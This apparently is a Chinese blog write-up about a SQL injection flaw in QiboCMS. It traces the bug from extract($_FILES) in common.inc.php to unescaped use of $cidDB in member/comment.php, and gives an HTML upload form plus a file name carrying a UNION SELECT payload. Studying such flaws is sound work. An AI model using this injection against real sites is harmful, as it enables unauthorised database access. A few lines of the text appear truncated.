齐博CMS的sql注⼊漏洞学习
百度搜了⼀下这个CMS,使⽤量还是不⼩的。对php不太懂,简单学习了⼀下,并且总结了利⽤⽅式。
漏洞的原因就是 inc/common.inc.php 中的这⼀段代码:
if(!ini_get('register_globals')){
@extract($_FILES,EXTR_SKIP);
}
这段代码的含义就是把 php接收到的$_Files 请求的数组转换成⼀些变量。⽽我们知道,这些变量是不会经过魔术引号的转义的。
再看 member/comment.php 这个⽂件,如下代码:
if($job=='del'){
foreach( $cidDB AS $key=>$value){
$rs=$db->get_one("SELECT aid FROM {$pre}comment WHERE cid='$value'");
$erp=get_id_table($rs[aid]);
$rsdb=$db->get_one("SELECT C.cid,C.uid AS commentuid,C.aid,A.uid,A.fid FROM {$pre}comment C LEFT JOIN {$pre}article$erp A ON C.aid=A.aid WHERE C  if($rsdb[uid]==$lfjuid||$rsdb[commentuid]==$lfjuid||$web_admin||in_array($rsdb[fid],$fiddb)){
$db->query("DELETE FROM {$pre}comment WHERE cid='$rsdb[cid]'");
}
$db->query("UPDATE {$pre}article$erp SET comments=comments-1 WHERE aid='$rsdb[aid]'");
}
refreshto("$FROMURL","删除成功",0);
}
其中 $cidDB 这个变量本应该是从URL⾥⾯通过get⽅式获取的留⾔的id ,然后拼到sql语句⾥⾯执⾏sql的。
但是因为 comment.php引⽤了common.inc.php,并且$cidDB并没有初始化,所以这边我们可以⽤ $_Files⾥⾯的变量去直接给 $cidDB
赋值,并且没有转义。
poc:
其实算不上poc,就是⼀个简单的利⽤⽅式。
写⼀个简单的html页⾯:
action⾥⾯写⽹站相关地址
<form method="post" action="127.0.0.1/v7/member/comment.php?job=del" enctype="multipart/form-data">
<input type="file" name="cidDB" id="cidDB">
sql容易学吗<input type="submit" name="submit">
</form>
然后我们重命名⼀个⽂件,名为:1' union select version() and '1'='1
然后提交上传,就可以看到返回结果了:
了。或者寻⼀下其他地⽅的未初始化的变量也可。

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。